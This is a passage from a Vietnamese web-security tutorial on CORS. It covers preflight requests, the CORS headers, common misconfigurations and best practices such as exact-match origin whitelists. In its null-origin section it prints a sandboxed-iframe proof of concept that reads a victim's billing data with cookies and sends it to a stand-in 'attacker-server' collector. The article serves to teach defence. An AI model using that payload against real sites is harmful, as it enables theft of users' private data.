Trước khi browser gửi một request tới server, đầu tiền nó gửi một HTTP request với method OPTIONS. Hành động này được gọi là CORS preflight request. Sau đó server response với một danh sách các method và header được cho phép. Nếu thông tin header và method của request chính hợp lệ thì browser sẽ gửi request chính tới server. Ngược lại, browser sẽ throw lỗi và không tiếp tục gửi request chính, nếu request chính không hợp lệ.

1.3.5. Các CORS request header

Các CORS request header quan trọng dưới đây đều do browser tự động set và kiểm soát.

  • Origin: Browser khai báo request đến từ origin nào cho server biết. Để server dựa vào origin và ra quyết định trả về header Access-Control-Allow-Origin tương ứng nhằm cho phép browser tiếp tục sử lý request hay không. Ví dụ: Origin: https://frontend.exmaple.com
  • Access-Control-Request-Method: Browser khai báo HTTP method của request chính cho server biết. vì preflight request luôn dùng OPTIONS method. Ví dụ: Access-Control-Request-Method: POST
  • Access-Control-Request-Headers: Browser liệt kê các header tùy chỉnh của request lên server. Để server đưa ra quyết định request chính có hợp lệ hay không. Ví dụ: Access-Control-Request-Headers: Authorization, Content-Type

1.3.6. Các CORS resposne header

Với cors response header, server (backend) có toàn quyền quyết định nội dung header trả về. Browser sẽ dựa vào các header này để cho phép hoặc từ chối truy cập data từ domain khác.

  • Access-Control-Allow-Origin: Server chỉ cho browser biết origin nào được phép truy cập tài nguyên. Có các giá trị *, null hoặc duy nhất 1 origin, ví dụ: Access-Control-Allow-Origin: https://foo.io.
  • Access-Control-Allow-Methods: Server chỉ cho browser biết các HTTP method được phép. Có thể sử dụng một hoặc nhiều HTTP method thông qua dấu phẩy, ví dụ: Access-Control-Allow-Methods: GET, POST, PUT.
  • Access-Control-Allow-Headers: Server chỉ cho browser biết các header nào trong request được phép sử dụng, ví dụ: Access-Control-Allow-Headers: Authorization, Content-Type, X-My-Token.
  • Access-Control-Allow-Credentials: Server chỉ cho browser biết có cho phép browser gửi các credentials (cookie, header xác thực) hay không. Mặc định là false.
  • Access-Control-Max-Age: Server chỉ cho browser biết thời gian browser nên cache phản hồi preflight, tính theo giây. Mặc định là 5.

1.3.7. Sự nhầm lẫn phổ biến

Có một vấn đề mình nghĩ nhiều người thường hay nhầm lẫn rằng “CORS là cơ chế do server (backend) kiểm soát”. Nhưng mình xin nhấn mạnh rằng bản chất CORS phải là cơ chế kết hợp cả server và client/browser với server là nơi quy định policy gửi về cho browser tham khảo và đưa ra quyết định. Bởi vì nếu bạn dùng các công cụ như postman hoặc một số extension để block CORS trên browser thì bạn vẫn có thể call api từ một origin khác. 

2. Một số sai lầm phổ biến về CORS mà Dev thường mắc phải

2.1. Wildcard (*)

Rất nhiều developer lần đầu deploy sản phẩm thường dính lỗi CORS và để cho nhanh các bạn thường set Access-Control-Allow-Origin: * cho lẹ. Nhưng cấu hình này không khác gì việc mở cửa cho sói vào nhà. Khi để cấu hình như vậy thì mọi domain đều có thể truy cập tài nguyên, dễ bị các attacker khai các lỗ hổng bảo mật như ở ví dụ phần 1.1 tấn công Banking Website.

2.2. Origin header reflection

Origin header reflection xuất hiện do nhu cầu của dev trong việc hỗ trợ nhiều origins truy cập vào cùng một API. Nhưng header Access-Control-Allow-Origin chỉ có thể chỉ định một origin duy nhất hoặc * (wildcard) về cho browser xử lý.

Vấn đề thực tế:

  • Một App cần hỗ trợ nhiều subdomain: app.example.com, admin.example.com, mobile.example.com
  • Duy trì một whitelist tĩnh đòi hỏi sự nỗ lực của dev phải liên tục thay đổi hoặc thêm mới khi có domain mới
  • Dev cần linh hoạt trong các môi trường development và testing

Suy nghĩ sai lầm của Dev:

  • Logic sai lầm phổ biến:
// Developer nghĩ: "Tôi sẽ đọc Origin header và reflect nó lại nếu hợp lệ" 
const origin = request.headers.origin;
if (origin && origin.includes('trusted-domain.com')) {
response.setHeader('Access-Control-Allow-Origin', origin);  
}
  • Tại sao logic này có vẻ hợp lý:
  1. Flexible: Hỗ trợ nhiều subdomain động
  2. Convenient: Không cần maintain hardcoded list
  3. Development-friendly: Dễ test với môi trường localhost và staging
  • Với logic trên attacker có thể tạo một domain fake-trusted-domain.com và BÙM. attacker lúc này đã có thể bypass Acccess-Control-Allow-Origin và thực hiện tấn công giống ví dụ ở phần 1.1 tấn công Banking Website.

2.3. Cho phép Null Origin header

Trong quá trình phát triển sản phẩm dưới local. Một số dev thường thêm null vào whitelist Orgin để tiện test (ví dụ khi chạy app từ file:// hay data:// thay vì http://localhost). Tuy nhiên điều này là nguy hiểm, vì giá trị Origin: null  không chỉ xuất hiện trong môi trường local, mà còn trong nhiều context đặc biết của browser như:

  • Tài liệu bị sandbox trong <iframe sandbox>
  • Các URL dạng file://, data://, hoặc blob://

Attacher có thể lợi dụng điều này bằng cách nhúng một sandboxed iframe chứa script độc hại. Khi script trong iframe gửi request kèm cookie của victim đến API (ví dụ /api/account/billing), browser sẽ gán header Origin: null. Nếu server đã cấu hình Access-control-Allow-Origin: null, thì CORS sẽ cho phép response cross-origin. lúc này attacher có thể đọc dữ liệu nhạy cảm và chuyển về server của attacher.

<iframe sandbox="allow-scripts" srcdoc="
  <script>
    fetch('https://api.example.com/api/account/billing', {
        credentials: 'include'  // Include cookies
    }).then(async (data) => {
        // Forward response to your controlled server (in base64)
        fetch('http://attacker-server/collector?data=' + btoa(await data.text()));
    });
  </script>
">
</iframe>

Các khắc phục:

  • Tuyệt đối không đưa null vào whitelist cho Access-Controll-Allow-Origin.
  • Trong môi trường dev, hãy dùng domain cụ thể như http://localhost:3000 hoặc cấu hình DNS/hosts thay vì dựa vào Origin null
  • Thực hiện whitelist theo exact match thay vì chấp nhận wildcard hay null

3. Best practices

3.1. Sử dụng whitelist

Sử dụng whitelist cho các origin tin tưởng, tránh sử dụng blacklist hoặc regex để tránh tạo lỗ hổng cho attacker khai thác:

  • blacklist không đảm bảo an toàn: Việc liệt kê các origin không cho phép vào blacklist sẽ khó bảo trì vì attacker có thể tạo các origin mới chưa bị chặn. Ngoài ra, blacklist phải luôn cập nhật, nếu không sẽ có kẽ hở lớn cho các cuộc tấn công.
  • Regex không chuẩn gây nhầm lẫn: Các browser xử lý underscore, encoding URL khác nhau, dấn đến regex nhiều khi lọt lưới nguy hiểm, vô tình cấp quyền truy cập cross-origin cho domain không an toàn.
const allowedOrigins = [
    'https://trusted-app.com',
    'https://admin.trusted-app.com',
    'https://mobile.trusted-app.com'
];

function validateOrigin(origin) {
    return allowedOrigins.includes(origin);
}

// Node.js/Express example
app.use((req, res, next) => {
    const origin = req.headers.origin;
    if (validateOrigin(origin)) {
        res.setHeader('Access-Control-Allow-Origin', origin);
    }
    next();
});

3.2. Chỉ cho phép Method và header cần thiết

Theo mình thì chỉ nên cho phép các method và header mà server cần dùng. Không nên để wildcard(*) để giảm thiểu rủi ro. Vì chúng ta không biết attacker có thẻ khai thác gì từ các method hay header mà ta không dùng tới 

// Chỉ cho phép các methods cụ thể cần thiết
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT');

// Chỉ cho phép các headers cần thiết
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');

3.3. Sử dụng cấu hình khác nhau cho từng môi trường


const corsOptions = {
    origin: process.env.NODE_ENV === 'development' 
        ? ['http://localhost:3000', 'http://localhost:3001']
        : ['https://production-domain.com'],
    credentials: true,
    optionsSuccessStatus: 200
};

3.4. Tối ưu preflight caching để cải thiện performance

Preflight request là các request kiểm tra bảo mật trước khi gửi request chính thức. Nếu không tối ưu:

  • Trình duyệt sẽ gửi nhiều request OPTIONS tốn tài nguyên mạng, làm chậm trải nghiệm user
  • Tăng tải cho server vì phải xử lý nhiều request preflight không thực sự lấy dữ liệu
  • Khi preflight không được cache lâu, app web có thể bị giảm performance rõ rệt, đặc biệt với các request cross-origin nhiều lần

Tối ưu preflight bằng cách cache kết quả preflight giúp giảm số lượng request OPTIONS, tiết kiệm băng thông, giảm độ trễ tải dữ liệu, cải thiện hiệu năng tổng thể của ứng dụng web khi làm việc với API cross-origin. 

Thời gian cache tối đa được giới hạn bởi các browser (Firefox - 24 tiếng, Chrome - 2 tiếng). Nên chọn con số nào cho Access-Controll-Max-Age thì theo mình phải dựa vào tính chất của App. Với các app mang tính bảo mật cao có lẽ nên set ngắn lại còn với những App có lượng traffic cao thì nên set cao lên.

4. Giới hạn của CORS - Tại sao cần CSP?

CORS là cơ chế quan trọng giúp kiểm soát việc chia sẻ tài nguyên giữa các origin/domain khác nhau, giúp bảo vệ server khỏi các request không hợp lệ từ các origin không được phép. Tùy nhiên, CORS không phải là giải pháp bảo mật toàn diện cho ứng dụng web.

Điểm giới hạn của CORS là:

  •  Chỉ giúp browser kiểm soát việc truy cập tài nguyên: CORS giúp browser xác định origin/domain nào được phép gửi request đến server và nhận dữ liệu trả về. Nhưng nó không giúp browser kiểm soát điều gì được tải lên hay thực thi trên browser.
  • Không thể ngăn chặn các tấn công phía client như Cross-Site-Scripting (XSS) hay code injection: Nếu một attacker tiêm được mã độc vào trang web (qua form input, script nhúng,...), mã này vẫn có thể chạy trên browser và thao tác với tài nguyên một cách nguy hiểm. CORS không có chức năng kiểm soát hay hạn chế hành vi này.
  • Không kiểm soát cách browser tải và xử lý tài nguyên: Các đoạn script, style hay hình ảnh độc hại có thể vẫn được tải về và thực thi trên browser nếu không có biện pháp bảo vệ khác.

Từ những giới hạn này, chúng ta có thể thấy CORS không thể thay thế các biện pháp bảo mật tại client/browser. Chính vì vậy, Content Security Policy (CSP) ra đời như một lớp bảo vệ bổ sung, kiểm soát chặt chẽ hơn các nguồn tài nguyên được phép tải và thực thi trên trình duyệt, giúp ngăn chặn các cuộc tấn công injection và tăng cường an toàn cho ứng dung web.

Tài nguyên thêm: 

  • https://portswigger.net/web-security/cors
  • https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
  • https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS
  • https://www.gravitee.io/blog/blog-the-day-i-understood-cors
duchieu
beginner
cors
security

Bài viết liên quan

Materialized view với PostgreSQL

Khái niệm view trong relational database chắc hẳn đã quá quen thuộc với anh em dev. View chỉ lưu trữ câu lệnh truy vấn, không lưu kết quả truy vấn và thực hiện truy vấn trên (các) bảng gốc mỗi khi view được truy cập. Vậy nếu truy vấn của view là một truy vấn phức tạp cho thống kế, cần JOIN nhiều bảng, nhiều điều kiện FILTER, tập dữ liệu ở bảng gốc lớn, có nhiều phép tổng hợp như SUM, AVG… Thì các bạn có đoán được vấn đề gì sẽ xuất hiện không? Nếu câu trả lời của các bạn là “hiệu suất của truy

Stack & Queue - Khi array không chỉ để lưu trữ

Stack & Queue là hai cấu trúc dữ liệu cơ bản và phổ biến trong con đường của một lập trình viên, hẳn rằng những lập trình viên có kinh nghiệm đều đã nghe, đã biết đến cấu trúc dữ liệu này, vậy cuối cùng thì, Stack & Queue là gì và nó có tác dụng thế nào? QUEUE - HÀNG ĐỢI Để bắt đầu nhẹ nhàng, chúng ta bắt đầu với Queue trước. Trước tiên thì Queue là một cấu trúc dữ liệu có dạng FIFO (First In Frist Out) tức là vào trước thì ra trước. Một ví dụ dễ thấy trong cuộc sống hàng ngày là việc xếp

Connection Pool: Tối ưu hiệu suất kết nối Database trong hệ thống Backend

By Đức Hiếu 1. Connection Pool là gì? Connection Pool là một cơ chế quản lý kết nối giữa các ứng dụng đến cơ sở dữ liệu (Database Server), trong đó một tập hợp các kết nối được khởi tạo trước và duy trì sẵn sàng để sử dụng. Thay vì phải thiết lập kết nối mới mỗi khi cần truy vấn dữ liệu. Database Client (thường là Backend App) có thể "mượn" một kết nối có sẵn từ pool, sử dụng xong và trả lại pool để tái sử dụng. 1.1. Vấn đề với phương pháp kết nối truyền thống Trong mô hình kết nối truyền

HTTP/1.1 vs HTTP/2 : Tại sao HTTP/2 lại nhanh hơn?

By @VietDuc HTTP (Hypertext Transfer Protocol) là giao thức truyền tải tài nguyên cho Web theo mô hình Client-Server (hoặc Request-Response). Ví dụ khi bạn truy cập https://roninhub.com/ . Trình duyệt sẽ tạo các HTTP request đến Server lấy các file HTML, Ảnh, Text… hiển thị lên như ảnh bên dưới. HTTP hoạt động thế nào? Khi một Client (thường là trình duyệt) gửi một HTTP request, quá trình giao tiếp giữa Client và Server thường diễn ra qua các bước sau: * Thiết lập kết nối TCP: Client

Counting - Dạng bài phỏng vấn thuật toán phổ biến của các công ty

by @ToanBui Các bài toán mang tư tưởng đếm xuất hiện phần lớn ở các bài phỏng vấn thuật toán của các công ty, các bài này thường ở mức dễ để xử lý. Một mẫu đề bài ví dụ là cho một chuỗi kí tự và trả về kí tự có số lượng xuất hiện nhiều thứ 2 trong chuỗi. Để bắt đầu với điều này, hãy trở về quá khứ tại thời điểm bản thân bắt đầu học đếm. Phần lớn mọi người đều biết tới que tính với rất nhiều màu sắc (lục, đỏ, xanh, vàng,…). Mình có một chuỗi ví dụ đơn giản là “abacca”, mình sẽ lấy kí tự “a” vớ

Tất cả bài viết
logo

HỘ KINH DOANH LẬP VƯƠNG

Giấy chứng nhận đăng ký doanh nghiệp số: 8656162915-001. Cấp ngày 21/02/2024. Nơi cấp: Sở Kế hoạch và Đầu tư TP. Hà Nội

PHƯƠNG THỨC THANH TOÁN

vnpay

LIÊN HỆ

roninengineer88@gmail.com

0362228388

26 ngõ 156 Hồng Mai, Hai Bà Trưng, Hà Nội

THEO DÕI CHÚNG TÔI

Facebook

Youtube

Tiktok

CHÍNH SÁCH

Chính sách bảo mật

Chính sách thanh toán

Đổi trả/Hoàn tiền

Hướng dẫn thanh toán VNPAY

PHƯƠNG THỨC THANH TOÁN

vnpay

Ronin Engineer 2024